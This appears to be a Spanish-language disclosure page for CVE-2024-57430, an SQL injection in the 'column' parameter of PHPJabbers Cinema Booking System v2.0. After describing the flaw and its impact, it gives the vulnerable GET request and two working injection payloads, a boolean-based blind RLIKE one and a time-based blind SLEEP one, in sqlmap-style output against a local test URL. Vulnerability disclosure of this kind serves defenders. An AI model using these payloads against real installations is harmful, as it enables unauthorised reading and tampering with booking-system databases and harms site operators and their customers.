ahrixia/cve-2024-57430CVE-2024-57430: PHPJabbers Cinema Booking System v2.0 es vulnerable a la inyección SQL, lo que conduce a acceso no autorizado a datos y escalada de privilegios.
Una vulnerabilidad de inyección SQL en la función pjActionGetUser de PHPJabbers Cinema Booking System v2.0 permite a los atacantes manipular consultas de la base de datos a través del parámetro column. Explotar esta falla puede provocar divulgación no autorizada de información, escalada de privilegios o manipulación de la base de datos.
Parámetro vulnerable: column
La inyección SQL puede provocar acceso no autorizado a información sensible, modificación de la base de datos e incluso el compromiso total del servidor de base de datos. Esto representa una amenaza crítica para la confidencialidad, integridad y disponibilidad de la aplicación.
Solicitud GET en la URL: http://127.0.0.1/CinemaBookingDev/index.php?controller=pjAdminUsers&action=pjActionGetUser&column=*&&direction=ASC&page=1&rowCount=10
Parameter: #1* (URI)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: http://127.0.0.1/CinemaBookingDev/index.php?controller=pjAdminUsers&action=pjActionGetUser&column=name RLIKE (SELECT (CASE WHEN (7874=7874) THEN 0x6e616d65 ELSE 0x28 END))&direction=ASC&page=1&rowCount=10
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: http://127.0.0.1/CinemaBookingDev/index.php?controller=pjAdminUsers&action=pjActionGetUser&column=name AND (SELECT 6530 FROM (SELECT(SLEEP(5)))UFOj)&direction=ASC&page=1&rowCount=10